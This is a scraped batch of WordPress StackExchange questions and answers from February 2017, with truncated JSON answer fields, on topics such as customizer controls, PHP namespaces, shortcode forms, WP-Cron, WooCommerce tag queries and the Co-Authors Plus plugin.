} else {
echo 'No';
}
</code>
But nothing happened. and in debug.log : undefined variable wp_customize...</p>
| [
{
"answer_id": 256224,
"author": "Adson Cicilioti",
"author_id": 71254,
"author_profile": "https://wordpress.stackexchange.com/users/71254",
"pm_score": 0,
"selected": false,
"text": "<p>Use <a href=\"https://codex.wordpress.org/Function_Reference/get_theme_mod\" rel=\"nofollow noreferre... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256223",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/71254/"
] | I trying this directly in my theme:
`$mods = $wp_customize->get_control('header_text');
if (isset($mods)) {
echo 'YES';
} else {
echo 'No';
}`
But nothing happened. and in debug.log : undefined variable wp\_customize... | I'm not sure what exactly you're trying to accomplish, but if you're wanting to manipulate customizer controls until the `customize_register` action has fired. So do something like this:
```
add_action( 'customize_register', function( $wp_customize ) {
$control = $wp_customize->get_control( 'header_text' );
if ( $control ) {
error_log( 'header_text control exists' );
} else {
error_log( 'header_text control does not exist' );
}
}, 100 );
``` |
256,241 | <p>I am trying to manually restore my WordPress site which has been backed up using Updraft plus plugin. I uploaded & extracted all the files to their respective folder. However, when I tried to upload database via PhpMyAdmin I got following error.
<a href="https://i.stack.imgur.com/M9etI.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/M9etI.png" alt="Error image"></a></p>
<p>How to fix this issue?</p>
| [
{
"answer_id": 256224,
"author": "Adson Cicilioti",
"author_id": 71254,
"author_profile": "https://wordpress.stackexchange.com/users/71254",
"pm_score": 0,
"selected": false,
"text": "<p>Use <a href=\"https://codex.wordpress.org/Function_Reference/get_theme_mod\" rel=\"nofollow noreferre... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256241",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113183/"
] | I am trying to manually restore my WordPress site which has been backed up using Updraft plus plugin. I uploaded & extracted all the files to their respective folder. However, when I tried to upload database via PhpMyAdmin I got following error.
[](https://i.stack.imgur.com/M9etI.png)
How to fix this issue? | I'm not sure what exactly you're trying to accomplish, but if you're wanting to manipulate customizer controls until the `customize_register` action has fired. So do something like this:
```
add_action( 'customize_register', function( $wp_customize ) {
$control = $wp_customize->get_control( 'header_text' );
if ( $control ) {
error_log( 'header_text control exists' );
} else {
error_log( 'header_text control does not exist' );
}
}, 100 );
``` |
256,242 | <p>Here is my code.</p>
<pre><code>defined( 'ABSPATH' ) || exit;
namespace JSR;
class myClass{
...
}
</code></pre>
<p>This is giving below error</p>
<pre><code>Global code should be enclosed in global namespace declaration
</code></pre>
<p>Any idea how to fix it?</p>
| [
{
"answer_id": 256246,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 3,
"selected": true,
"text": "<p>From the PHP manual on <a href=\"http://php.net/manual/en/language.namespaces.definition.php\" rel=\"nofollo... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256242",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9821/"
] | Here is my code.
```
defined( 'ABSPATH' ) || exit;
namespace JSR;
class myClass{
...
}
```
This is giving below error
```
Global code should be enclosed in global namespace declaration
```
Any idea how to fix it? | From the PHP manual on [defining namespaces](http://php.net/manual/en/language.namespaces.definition.php):
>
> Namespaces are declared using the namespace keyword. **A file containing
> a namespace must declare the namespace at the top of the file before
> any other code - with one exception: the *declare* keyword.**
>
>
>
To fix the issue, simply make sure that your namespace declaration comes before the other code:
```
namespace JSR;
defined( 'ABSPATH' ) || exit;
class myClass{
}
``` |
256,251 | <p>I would like to lock whole WordPress site (all pages, all posts, whatever content I will add in the future) with login page same as for example it is made here (clear your cookies) <a href="http://facebook.com" rel="nofollow noreferrer">http://facebook.com</a>.</p>
<p>How to achieve this functionality?</p>
| [
{
"answer_id": 256246,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 3,
"selected": true,
"text": "<p>From the PHP manual on <a href=\"http://php.net/manual/en/language.namespaces.definition.php\" rel=\"nofollo... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256251",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/43884/"
] | I would like to lock whole WordPress site (all pages, all posts, whatever content I will add in the future) with login page same as for example it is made here (clear your cookies) <http://facebook.com>.
How to achieve this functionality? | From the PHP manual on [defining namespaces](http://php.net/manual/en/language.namespaces.definition.php):
>
> Namespaces are declared using the namespace keyword. **A file containing
> a namespace must declare the namespace at the top of the file before
> any other code - with one exception: the *declare* keyword.**
>
>
>
To fix the issue, simply make sure that your namespace declaration comes before the other code:
```
namespace JSR;
defined( 'ABSPATH' ) || exit;
class myClass{
}
``` |
256,260 | <p>I'm using shortcode to process my HTML form. However, upon submit no result is being displayed. I'm not getting where I'm going wrong.</p>
<pre><code><?php
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
//result display form begins
function display_result_form_fields(){
ob_start(); ?>
<form id="result_form" action="" method="POST">
<fieldset>
<p>
<label for="rollNumber"><?php _e('Roll Number'); ?></label>
<input name="rollNumber" id="rollNumber" class="required" type="number"/>
</p>
<p>
<input type="submit" value="<?php _e('Submit'); ?>"/>
</p>
</fieldset>
</form>
<?php
return ob_get_clean();
}
function form_processing(){
if(isset($_POST['Submit'])){
global $wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo "Dear student, congratulations";}
}
//shortcode begins here
function result_form() {
form_processing();
$output = display_result_form_fields();
return $output;
}
add_shortcode('result_form', 'result_form'); //create shortcode
add_filter('widget_text','do_shortcode'); // Enable shortcodes in text widgets
?>
</code></pre>
| [
{
"answer_id": 256265,
"author": "AddWeb Solution Pvt Ltd",
"author_id": 73643,
"author_profile": "https://wordpress.stackexchange.com/users/73643",
"pm_score": 2,
"selected": true,
"text": "<p>You missed <strong>name</strong> attribute of <code><input type=\"submit\" value=\"<?ph... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256260",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112658/"
] | I'm using shortcode to process my HTML form. However, upon submit no result is being displayed. I'm not getting where I'm going wrong.
```
<?php
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
//result display form begins
function display_result_form_fields(){
ob_start(); ?>
<form id="result_form" action="" method="POST">
<fieldset>
<p>
<label for="rollNumber"><?php _e('Roll Number'); ?></label>
<input name="rollNumber" id="rollNumber" class="required" type="number"/>
</p>
<p>
<input type="submit" value="<?php _e('Submit'); ?>"/>
</p>
</fieldset>
</form>
<?php
return ob_get_clean();
}
function form_processing(){
if(isset($_POST['Submit'])){
global $wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo "Dear student, congratulations";}
}
//shortcode begins here
function result_form() {
form_processing();
$output = display_result_form_fields();
return $output;
}
add_shortcode('result_form', 'result_form'); //create shortcode
add_filter('widget_text','do_shortcode'); // Enable shortcodes in text widgets
?>
``` | You missed **name** attribute of `<input type="submit" value="<?php _e('Submit'); ?>"/>` HTML tag.
i.e.
It should be looks like: `<input type="submit" name="Submit" value="<?php _e('Submit'); ?>"/>`
Else, You have to change if condition inside `function form_processing()`
**OLD:**
if(isset($\_POST['Submit'])){
**Replace with:**
if(isset($\_POST['rollNumber'])){
Hope this will helps you. |
256,269 | <p>I m trying to extract the firstname and lastname fields of a user whose email-id I know, and I m trying to display those in a backend page using a plugin, can someone please give me a short code for that, I just can,t find where these values are stored</p>
| [
{
"answer_id": 256271,
"author": "Sonali",
"author_id": 84167,
"author_profile": "https://wordpress.stackexchange.com/users/84167",
"pm_score": 1,
"selected": false,
"text": "<p>You can use this:</p>\n\n<pre><code> $user = get_user_by( 'email', 'user@example.com' );/*$user gives you ... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256269",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113198/"
] | I m trying to extract the firstname and lastname fields of a user whose email-id I know, and I m trying to display those in a backend page using a plugin, can someone please give me a short code for that, I just can,t find where these values are stored | You can use this:
```
$user = get_user_by( 'email', 'user@example.com' );/*$user gives you all data*/
$first_name = $user->first_name;/*$first_name gives you first name*/
$last_name = $user->last_name;
``` |
256,275 | <p>I have a WP site currently running 4.7.2 version, and I use version control system. I did check both file configurations and database, there is nothing to force the site to auto update, also there are no plugins installed for that purpose. Still the site keeps updates to the latest version. If I understand correctly when WP detects version control systems it stops the updates, is that correct? If yes, could someone point me to the correct direction on what to check out next?</p>
| [
{
"answer_id": 256271,
"author": "Sonali",
"author_id": 84167,
"author_profile": "https://wordpress.stackexchange.com/users/84167",
"pm_score": 1,
"selected": false,
"text": "<p>You can use this:</p>\n\n<pre><code> $user = get_user_by( 'email', 'user@example.com' );/*$user gives you ... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256275",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113201/"
] | I have a WP site currently running 4.7.2 version, and I use version control system. I did check both file configurations and database, there is nothing to force the site to auto update, also there are no plugins installed for that purpose. Still the site keeps updates to the latest version. If I understand correctly when WP detects version control systems it stops the updates, is that correct? If yes, could someone point me to the correct direction on what to check out next? | You can use this:
```
$user = get_user_by( 'email', 'user@example.com' );/*$user gives you all data*/
$first_name = $user->first_name;/*$first_name gives you first name*/
$last_name = $user->last_name;
``` |
256,282 | <p>I have created a plugin in WordPress to sync posts from a third party API. </p>
<p>I have set a cron job to fetch data in every 10 minutes. If I'm logged in, cron is working, otherwise cron is not working.</p>
| [
{
"answer_id": 256285,
"author": "Thilak",
"author_id": 113208,
"author_profile": "https://wordpress.stackexchange.com/users/113208",
"pm_score": 0,
"selected": false,
"text": "<p>WordPress Import Corn is Not Working Properly. If Admin Login, then only the cron's are scheduled. This is d... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256282",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/93030/"
] | I have created a plugin in WordPress to sync posts from a third party API.
I have set a cron job to fetch data in every 10 minutes. If I'm logged in, cron is working, otherwise cron is not working. | The WP Cron .. which runs when user hit website .. Thus if there are no website visits, WP Cron never runs.
Now you can use 2 solutions.
```
Disable WP-Cron and use real cron job and then custom real cron job
```
<https://support.hostgator.com/articles/specialized-help/technical/wordpress/how-to-replace-wordpress-cron-with-a-real-cron-job>
```
use custom interval in wp_schedule_event
add_filter( 'cron_schedules', 'myprefix_add_a_cron_schedule' );
function myprefix_add_a_cron_schedule( $schedules ) {
$schedules['sixsec'] = array(
'interval' => 21600, // Every 6 hours
'display' => __( 'Every 6 hours' ),
);
return $schedules;
}
///////Schedule an action if it's not already scheduled
if ( ! wp_next_scheduled( 'myprefix_curl_cron_action' ) ) {
wp_schedule_event( time(), 'sixsec', 'myprefix_curl_cron_action' );
}
///Hook into that action that'll fire sixhour
add_action( 'myprefix_curl_cron_action', 'import_into_db' );
``` |
256,287 | <p>test .php </p>
<pre><code><div id="widget_dta"></div>
<script type="text/javascript" src="widget.js"></script>
<script type="text/javascript">
init_widget('john','robert');
</script>
</code></pre>
<p>widget.js</p>
<pre><code> (function() {
// Localize jQuery variable
var jQuery;
/******** Load jQuery if not present *********/
if (window.jQuery === undefined || window.jQuery.fn.jquery !== '1.4.2') {
var script_tag = document.createElement('script');
script_tag.setAttribute("type","text/javascript");
script_tag.setAttribute("src",
"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js");
if (script_tag.readyState) {
script_tag.onreadystatechange = function () { // For old versions of IE
if (this.readyState == 'complete' || this.readyState == 'loaded') {
scriptLoadHandler();
}
};
} else { // Other browsers
script_tag.onload = scriptLoadHandler;
}
// Try to find the head, otherwise default to the documentElement
(document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
} else {
// The jQuery version on the window is the one we want to use
jQuery = window.jQuery;
main();
}
/******** Called once jQuery has loaded ******/
function scriptLoadHandler() {
// Restore $ and window.jQuery to their previous values and store the
// new jQuery in our local jQuery variable
jQuery = window.jQuery.noConflict(true);
// Call our main function
main();
}
/******** Our main function ********/
function main() {
jQuery(document).ready(function($) {
function init_widget(fname,lname) {
$('#widget_dta').append('<p class="fname">first name :'+fname+'</p><p class="lname">last name :'+lname+'</p>');
}
});
}
})();
</code></pre>
<p>error : I am getting this error "ReferenceError: init_widget is not defined". can anyone help where I am doing wrong.</p>
| [
{
"answer_id": 256285,
"author": "Thilak",
"author_id": 113208,
"author_profile": "https://wordpress.stackexchange.com/users/113208",
"pm_score": 0,
"selected": false,
"text": "<p>WordPress Import Corn is Not Working Properly. If Admin Login, then only the cron's are scheduled. This is d... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256287",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112990/"
] | test .php
```
<div id="widget_dta"></div>
<script type="text/javascript" src="widget.js"></script>
<script type="text/javascript">
init_widget('john','robert');
</script>
```
widget.js
```
(function() {
// Localize jQuery variable
var jQuery;
/******** Load jQuery if not present *********/
if (window.jQuery === undefined || window.jQuery.fn.jquery !== '1.4.2') {
var script_tag = document.createElement('script');
script_tag.setAttribute("type","text/javascript");
script_tag.setAttribute("src",
"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js");
if (script_tag.readyState) {
script_tag.onreadystatechange = function () { // For old versions of IE
if (this.readyState == 'complete' || this.readyState == 'loaded') {
scriptLoadHandler();
}
};
} else { // Other browsers
script_tag.onload = scriptLoadHandler;
}
// Try to find the head, otherwise default to the documentElement
(document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
} else {
// The jQuery version on the window is the one we want to use
jQuery = window.jQuery;
main();
}
/******** Called once jQuery has loaded ******/
function scriptLoadHandler() {
// Restore $ and window.jQuery to their previous values and store the
// new jQuery in our local jQuery variable
jQuery = window.jQuery.noConflict(true);
// Call our main function
main();
}
/******** Our main function ********/
function main() {
jQuery(document).ready(function($) {
function init_widget(fname,lname) {
$('#widget_dta').append('<p class="fname">first name :'+fname+'</p><p class="lname">last name :'+lname+'</p>');
}
});
}
})();
```
error : I am getting this error "ReferenceError: init\_widget is not defined". can anyone help where I am doing wrong. | The WP Cron .. which runs when user hit website .. Thus if there are no website visits, WP Cron never runs.
Now you can use 2 solutions.
```
Disable WP-Cron and use real cron job and then custom real cron job
```
<https://support.hostgator.com/articles/specialized-help/technical/wordpress/how-to-replace-wordpress-cron-with-a-real-cron-job>
```
use custom interval in wp_schedule_event
add_filter( 'cron_schedules', 'myprefix_add_a_cron_schedule' );
function myprefix_add_a_cron_schedule( $schedules ) {
$schedules['sixsec'] = array(
'interval' => 21600, // Every 6 hours
'display' => __( 'Every 6 hours' ),
);
return $schedules;
}
///////Schedule an action if it's not already scheduled
if ( ! wp_next_scheduled( 'myprefix_curl_cron_action' ) ) {
wp_schedule_event( time(), 'sixsec', 'myprefix_curl_cron_action' );
}
///Hook into that action that'll fire sixhour
add_action( 'myprefix_curl_cron_action', 'import_into_db' );
``` |
256,301 | <p>I'm trying to alter the search functionality of a WooCommerce store so when a user makes a query that matches a <code>product_tag</code> slug it returns the products that don't have that product tag assigned.</p>
<p>The logic behind this is showing all the products without gluten to a user who searches for "gluten".</p>
<p>My code is almost working except for the <em>operator</em> parameter.</p>
<p>I'm throwing this query:</p>
<pre><code>http://example.com/?s=gluten
</code></pre>
<p><strong>This function returns all the products tagged as the search query:</strong></p>
<pre><code>function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => $term->slug,
'operator' => 'IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
</code></pre>
<p><strong>But if I change the operator to NOT IN, I get no results:</strong></p>
<pre><code>function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => $term->slug,
'operator' => 'NOT IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
</code></pre>
<p>The products are correctly tagged, and there are products without the <em>gluten</em> tag </p>
| [
{
"answer_id": 256349,
"author": "nibnut",
"author_id": 111316,
"author_profile": "https://wordpress.stackexchange.com/users/111316",
"pm_score": 4,
"selected": true,
"text": "<p>I suspect you need an array for the terms - although I'm not sure why it would work with \"IN\" and not with ... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256301",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/45686/"
] | I'm trying to alter the search functionality of a WooCommerce store so when a user makes a query that matches a `product_tag` slug it returns the products that don't have that product tag assigned.
The logic behind this is showing all the products without gluten to a user who searches for "gluten".
My code is almost working except for the *operator* parameter.
I'm throwing this query:
```
http://example.com/?s=gluten
```
**This function returns all the products tagged as the search query:**
```
function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => $term->slug,
'operator' => 'IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
```
**But if I change the operator to NOT IN, I get no results:**
```
function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => $term->slug,
'operator' => 'NOT IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
```
The products are correctly tagged, and there are products without the *gluten* tag | I suspect you need an array for the terms - although I'm not sure why it would work with "IN" and not with "NOT IN"... But I'd try this:
```
function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => array($term->slug),
'operator' => 'NOT IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
$query->set('tax_query', $query->tax_query->queries);
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
```
Hope this helps! |
256,320 | <pre><code><head>
<title>
<?php wp_title(''); ?>
</title>
</head>
</code></pre>
<p>This displays the page title in the title correctly everywhere except on the front page where it displays "Home | Motto...". How can I have the front page display the page title like it does everywhere else on the site?</p>
| [
{
"answer_id": 256322,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 1,
"selected": false,
"text": "<p>I'm not very sure how is your title on other pages, but here is how you can modify your title:</p>\n\n<p><c... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256320",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111846/"
] | ```
<head>
<title>
<?php wp_title(''); ?>
</title>
</head>
```
This displays the page title in the title correctly everywhere except on the front page where it displays "Home | Motto...". How can I have the front page display the page title like it does everywhere else on the site? | I'm not very sure how is your title on other pages, but here is how you can modify your title:
`<?php wp_title( '|', true, 'right' ); ?>`
This will show your Blog's name right to your page's title, which will have seo benefits. The `|` separator will be used here.
If you want to customize your title further, you can use a situational `if()`, as the following:
`<title> <?php if ( is_home() ) { //Your custom title here } else { wp_title(''); } ?> </title>`
For custom title, you can use the following outputs:
`bloginfo('name')` = Displays the “Site Title” set in Settings > General
`bloginfo('description')` = Displays the “Tagline” set in Settings > General
Or you can simply type your desired title in text format. |
256,351 | <p>I'd like to compress images once they're uploaded to media library. Is there any hook that fires once the image is uploaded and the image sizes generated?</p>
| [
{
"answer_id": 256352,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 5,
"selected": true,
"text": "<blockquote>\n <p>Is there any hook that fires once the image is uploaded and the image sizes generated... | 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256351",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/47664/"
] | I'd like to compress images once they're uploaded to media library. Is there any hook that fires once the image is uploaded and the image sizes generated? | >
> Is there any hook that fires once the image is uploaded and the image sizes generated?
>
>
>
[`wp_handle_upload`](https://developer.wordpress.org/reference/hooks/wp_handle_upload/) fires after the image is uploaded. After the follow-up question, I discovered that images would not be sized at this point.
```
add_filter( 'wp_handle_upload' 'wpse_256351_upload', 10, 2 );
function wpse_256351_upload( $upload, $context ) {
//* Do something interesting
return $upload;
}
```
Added:
Images are resized on [line 135](https://core.trac.wordpress.org/browser/tags/4.7/src/wp-admin/includes/image.php#L135) of image.php. There are no hooks in method to resize the images.
At the end of the wp\_generate\_attachment\_metadata() function, [`wp_generate_attachment_metadata`](https://developer.wordpress.org/reference/hooks/wp_generate_attachment_metadata/) fires. This is after the image sizes are generated.
[`wp_read_image_metadata`](https://developer.wordpress.org/reference/hooks/wp_read_image_metadata/) is another option. It fires before `wp_generate_attachment_metadata` but after image sizes are generated. |
256,368 | <p>I am using <code>acfvalue</code> variable to get value and use it in more than one shortcode, let me explain i want to store ACF value in one variable and then use that variable in 3 function and create 3 shortcode.</p>
<pre><code>$acfvalue = get_field( 'short_title' );
</code></pre>
<p>above code is getting ACF value and storing in $acfvalue, now i want to use this variable in 3 different functions and create shortcode. i can declare and define 3 times $acfvalue and its working but i dont to fetch same value from post meta. </p>
<pre><code>function hprice(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Price list in India" . '</h2>';
}
add_shortcode( 'pprice', 'hprice' );
function hspecs(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Full Specification" . '</h2>';
}
add_shortcode( 'pspecs', 'hspecs' );
function hreview(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Review" . '</h2>';
}
add_shortcode( 'preview', 'hreview' );
</code></pre>
<p>so above code is working.. problem is i want to move $acfvalue = get_field( 'short_title' ); outside of function.</p>
| [
{
"answer_id": 256352,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 5,
"selected": true,
"text": "<blockquote>\n <p>Is there any hook that fires once the image is uploaded and the image sizes generated... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256368",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111081/"
] | I am using `acfvalue` variable to get value and use it in more than one shortcode, let me explain i want to store ACF value in one variable and then use that variable in 3 function and create 3 shortcode.
```
$acfvalue = get_field( 'short_title' );
```
above code is getting ACF value and storing in $acfvalue, now i want to use this variable in 3 different functions and create shortcode. i can declare and define 3 times $acfvalue and its working but i dont to fetch same value from post meta.
```
function hprice(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Price list in India" . '</h2>';
}
add_shortcode( 'pprice', 'hprice' );
function hspecs(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Full Specification" . '</h2>';
}
add_shortcode( 'pspecs', 'hspecs' );
function hreview(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Review" . '</h2>';
}
add_shortcode( 'preview', 'hreview' );
```
so above code is working.. problem is i want to move $acfvalue = get\_field( 'short\_title' ); outside of function. | >
> Is there any hook that fires once the image is uploaded and the image sizes generated?
>
>
>
[`wp_handle_upload`](https://developer.wordpress.org/reference/hooks/wp_handle_upload/) fires after the image is uploaded. After the follow-up question, I discovered that images would not be sized at this point.
```
add_filter( 'wp_handle_upload' 'wpse_256351_upload', 10, 2 );
function wpse_256351_upload( $upload, $context ) {
//* Do something interesting
return $upload;
}
```
Added:
Images are resized on [line 135](https://core.trac.wordpress.org/browser/tags/4.7/src/wp-admin/includes/image.php#L135) of image.php. There are no hooks in method to resize the images.
At the end of the wp\_generate\_attachment\_metadata() function, [`wp_generate_attachment_metadata`](https://developer.wordpress.org/reference/hooks/wp_generate_attachment_metadata/) fires. This is after the image sizes are generated.
[`wp_read_image_metadata`](https://developer.wordpress.org/reference/hooks/wp_read_image_metadata/) is another option. It fires before `wp_generate_attachment_metadata` but after image sizes are generated. |
256,372 | <p>I am trying to setup a local environment on my Windows 10 machine (to knock out some overtime) but keep running into a problem. Let me start with my environment workflow on Mac OSX... I have developed many sites locally over the years using MAMP Pro, allowing me to have a host for each project. However, at home I have just recently switched to the Windows environment. I downloaded MAMP Pro for Windows (which is identical at least in UI) and setup everything. I worked for a bit just fine, but didn't notice until now, that if you try to go to any other page but the home page, I get a 403 Forbidden Error. I can even kick start this error by saving permalinks (renders the entire host/site as a 403, nothing works.)</p>
<p>The only way I can get the site to appear again is to remove everything from the <code>.htaccess</code> file. Then I have the homepage again (admin works fine) but thats it. When I save permalinks this is what it produces in the <code>.htaccess</code> file:</p>
<pre><code># BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
</code></pre>
<p>I feel like my question might be kind of broad, but what could the issue be here? Is it permissions? I feel pretty well versed in in servers/unix/permissions but throwing Windows into the picture gets me hung up. I'm also using Cmder for a command line tool. </p>
| [
{
"answer_id": 256419,
"author": "AddWeb Solution Pvt Ltd",
"author_id": 73643,
"author_profile": "https://wordpress.stackexchange.com/users/73643",
"pm_score": -1,
"selected": false,
"text": "<p>You have to add <strong>your project directory name</strong> into <strong>RewriteBase</stron... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256372",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/73064/"
] | I am trying to setup a local environment on my Windows 10 machine (to knock out some overtime) but keep running into a problem. Let me start with my environment workflow on Mac OSX... I have developed many sites locally over the years using MAMP Pro, allowing me to have a host for each project. However, at home I have just recently switched to the Windows environment. I downloaded MAMP Pro for Windows (which is identical at least in UI) and setup everything. I worked for a bit just fine, but didn't notice until now, that if you try to go to any other page but the home page, I get a 403 Forbidden Error. I can even kick start this error by saving permalinks (renders the entire host/site as a 403, nothing works.)
The only way I can get the site to appear again is to remove everything from the `.htaccess` file. Then I have the homepage again (admin works fine) but thats it. When I save permalinks this is what it produces in the `.htaccess` file:
```
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
```
I feel like my question might be kind of broad, but what could the issue be here? Is it permissions? I feel pretty well versed in in servers/unix/permissions but throwing Windows into the picture gets me hung up. I'm also using Cmder for a command line tool. | While not *really* a an answer when it comes to MAMP's problem on Windows. Installing WAMP and running WordPress there instead fixed this issue. |
256,393 | <p>I am using the <em>Co-authors plus</em> plugin on our web page because sometimes we have more authors of an article. It is working really fine until today. I used classic archive.php to list all posts of the author based on global settings (same post excerpt, thumbs, posts per page 6 – defined in global WordPress & theme PHPs). My authors requested to create theme profile pages with the list of all posts based on <code>author.php</code>. So I was forced to overwrite global settings (posts per page 6) with new <code>WP_Query</code> and here comes the problem with <em>Co-authors</em> plugin.</p>
<p>When I use the following code below the posts are listed only under author who is assigned as the main author but not listed under co-authors.</p>
<pre><code><?php
$the_query = new WP_Query(
array(
'posts_per_page' => -1,
'author' => get_the_author_meta('ID'),
)
);
if ( $the_query->have_posts() ) :
while ( $the_query->have_posts() ) : $the_query->the_post();
the_time('d.m.Y ');
the_permalink();
the_title();
endwhile;
wp_reset_postdata();
else :
_e( 'Sorry, no posts matched your criteria.' );
</code></pre>
<p>I tried to do it based on <code>taxonomy</code>, <code>author_name</code>, <code>coauthor_meta</code>, etc, nothing helps.</p>
<p>You can see example <a href="http://vlcibouda.net/ruzne/snehuleni-ze-serie-komiksu-o-snehu" rel="nofollow noreferrer">here</a> (sorry it's not in English): This article is not listed under both authors.</p>
| [
{
"answer_id": 256412,
"author": "Jan Hanzman Kohoutek",
"author_id": 113288,
"author_profile": "https://wordpress.stackexchange.com/users/113288",
"pm_score": 2,
"selected": false,
"text": "<p>Nevermind, I fixed it by changing query by author_name instead of ID\nWorks!</p>\n\n<pre><code... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256393",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113288/"
